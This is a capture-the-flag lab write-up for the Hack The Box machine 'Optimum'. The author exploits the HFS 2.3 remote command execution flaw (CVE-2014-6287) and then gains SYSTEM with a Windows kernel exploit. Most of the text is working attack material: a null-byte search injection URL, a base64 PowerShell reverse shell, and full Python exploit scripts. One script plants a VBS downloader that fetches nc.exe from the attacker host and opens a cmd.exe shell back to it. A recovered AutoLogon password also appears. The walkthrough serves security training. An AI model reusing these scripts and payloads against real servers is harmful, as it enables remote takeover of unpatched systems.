HTB: Optimum

Enumeration

I run nmap and found the port 80 open.

❯ ports=$(nmap -p- -T4 -Pn -n 10.129.106.251 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

❯ echo $ports 
80

❯ nmap -sC -sV -Pn -n -p$ports 10.129.106.251
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 19:42 BST
Nmap scan report for 10.129.106.251
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

I opened a browser to check the web, the web title is “HFS”, looking at the web I noticed some more info on the “Server Information”, it says “HttpFileServer 2.3”, so I guess HFS stands for that.

Before searching on google for vulnerabilities and exploits for this service I made a little more enumeration with nikto and gobuster, but nothing interesting.

User flag

It’s pretty obvious that the vulnerability is on the web, so I search on Google for vulnerabilities on “HFS 2.3”, and I quickly found a CVE with a score of 10.0, perfect. CVE-2014-6287.

After some search for scripts that exploits this vulnerability, I found a metasploit module.

I analyzed the code and search a little more info abut this vuln on google. The vulnerabilty is found in the regex pattern of some internal fuction. The regex fails to properly handle a nullbyte (%00), so when we pass a system command after a nullbyte, the function will encouter the bug and execute the command on the host computer. To exploit this, all we have to do is pass the nullbyte into the search parameter of a GET request followed by {.exec|[COMMAND].}, like this:

http://(IP-Address/DomainName)/?search==%00{.exec|whoami.}

whoami is not a very effective command, the command will be executed on the machine, but I won’t be able to see the output.

I tried to execute a reverse shell but without success, so I give up and search for scripts on searchsploit:

❯ searchsploit hfs 2.3
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)           | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)           | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload        | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)   | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)   | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execut | windows/webapps/34852.txt
---------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

There are a lot of scripts, I will try the first one. I copied the script using searchsploit -m:

❯ searchsploit -m windows/remote/49584.py
  Exploit: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
      URL: https://www.exploit-db.com/exploits/49584
     Path: /opt/exploitdb/exploits/windows/remote/49584.py
File Type: ASCII text, with very long lines

Copied to: /home/user/htb/optimum/scripts/49584.py

And I changed the lhost, lport, rhost and rport values, I also set a base64 reverse shell as the payload. You can get the reverse shell code on this web (I choose the PowerShell #3 base64):

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

This is the final python script:

#!/usr/bin/python3

import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.93"
lport = 4444
rhost = "10.129.106.251"
rport = 80

# Define the command to be written to a file
command = f'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='

# Encode the command in base64 format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("\nEncoded the command in base64 format...")

# Define the payload to be included in the URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Encode the payload and send a HTTP GET request
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("\nEncoded the payload and sent a HTTP GET request to the target...")

# Print some information
print("\nPrinting some information for debugging...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Listen for connections
print("\nListening for connection...")
os.system(f'nc -nlvp {lport}')

The last line of the script execute netcat on my machine, so It won’t be necessary to execute it ourselves, I will just run the script:

❯ python3 ./49584.py 

Encoded the command in base64 format...

Encoded the payload and sent a HTTP GET request to the target...

Printing some information for debugging...
lhost:  10.10.14.93
lport:  4444
rhost:  10.129.106.251
rport:  80
payload:  [...]

Listening for connection...
listening on [any] 4444 ...
connect to [10.10.14.93] from (UNKNOWN) [10.129.106.251] 49159

PS C:\Users\kostas\Desktop> whoami
optimum\kostas

And it worked! Time to get the user flag.

Root flag

I first uploaded winpeas to the target to make a quick enumeration, but didn’t found anything interesting… I found this password of “kostas”, but to be honest it’s useless.

???????????? Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultUserName               :  kostas
    DefaultPassword               :  kdeEjDowkS*

So I tried with Windows Exploit Suggester, and found some possible privesc vectors, I will first try with MS16-135:

[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255

I search for the exploit binary on this exploit-db binaries repository, this is the direct link to the binary if you want it.

After downloading it I uploaded the binary to the target and execute it. But it didn’t work.

After some time (more than I would like to admit) I discover the reason why the exploit wasn’t working, the reverse shell.

So I went back to searchsploit, this time is gonna be using this exploit. We will also need netcat for windows this time. So I downloaded it (the x64 version):

❯ wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
[...]

❯ mv nc64.exe nc.exe

I also change the name of the exe to “nc.exe”, that’s because the script we will be using will look for “nc.exe” on our machine. Now I will open an http server, because as I said earlier, the script will look for the “nc.exe” on a local http server, transfer the “nc.exe” file to the target machine, and create the reverse shell.

So first things first, I opened an http server on the port 80 (make sure you are in the same folder as the “nc.exe” file):

❯ sudo python3 -m http.server 80

You will need sudo because the port number is under 1024.

Now I edited the script local ip and local port, this will be the port on which the script will launch the reverse shell. The script ended up looking like this:

#!/usr/bin/python

import urllib2
import sys

try:
	def script_create():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "10.10.14.93" #local IP address
	local_port = "4444" # Local Port number
	vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	#vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2
	vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print """[.]Something went wrong..!
	Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
	Don't forgot to change the Local IP address and Port number on the script"""

Time to launch the script:

# on one terminal listen with netcat
❯ rlwrap nc -lvnp 4444

# and on the other launch the script passing the target ip and port as arguments
# you may need to launch the script twice, in my case the first time it didn't work
❯ python2 ./39161.py 10.129.106.251 80

And we are in again! I executed the binary again and… It didn’t work :/

I look on the windows exploits suggester output again, and decided to try with this exploit:

[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)

Again I went to the exploit-db binaries repo and downloaded the binary on my machine. I uploaded it to the target and executed it…

C:\Users\kostas\Desktop> powershell -c "wget 10.10.14.93:8080/41020.exe -outfile 41020.exe"
C:\Users\kostas\Desktop> .\41020.exe
C:\> whoami
nt authority\system

And it worked! We are system now hehe. I took the flag as quickly as possible and leave.

NOTE: It didn’t work at the first time, for some reason the machine was really laggy and I have to relaunch the reverse shell and execute the binary multiple times. If this is your case, just keep trying until it works. I mean, just look at this:

~/htb/optimum/scripts
❯ ping 10.129.106.251
PING 10.129.106.251 (10.129.106.251) 56(84) bytes of data.
64 bytes from 10.129.106.251: icmp_seq=1 ttl=127 time=373 ms
64 bytes from 10.129.106.251: icmp_seq=2 ttl=127 time=359 ms
64 bytes from 10.129.106.251: icmp_seq=3 ttl=127 time=252 ms
64 bytes from 10.129.106.251: icmp_seq=4 ttl=127 time=255 ms
64 bytes from 10.129.106.251: icmp_seq=5 ttl=127 time=300 ms
64 bytes from 10.129.106.251: icmp_seq=6 ttl=127 time=311 ms
64 bytes from 10.129.106.251: icmp_seq=7 ttl=127 time=292 ms
64 bytes from 10.129.106.251: icmp_seq=8 ttl=127 time=302 ms
64 bytes from 10.129.106.251: icmp_seq=9 ttl=127 time=287 ms
64 bytes from 10.129.106.251: icmp_seq=10 ttl=127 time=323 ms

Probably the first exploit didn’t work because of the lag, who knows, but the second one worked fine, but… I don’t want to try it again.

Scroll to Top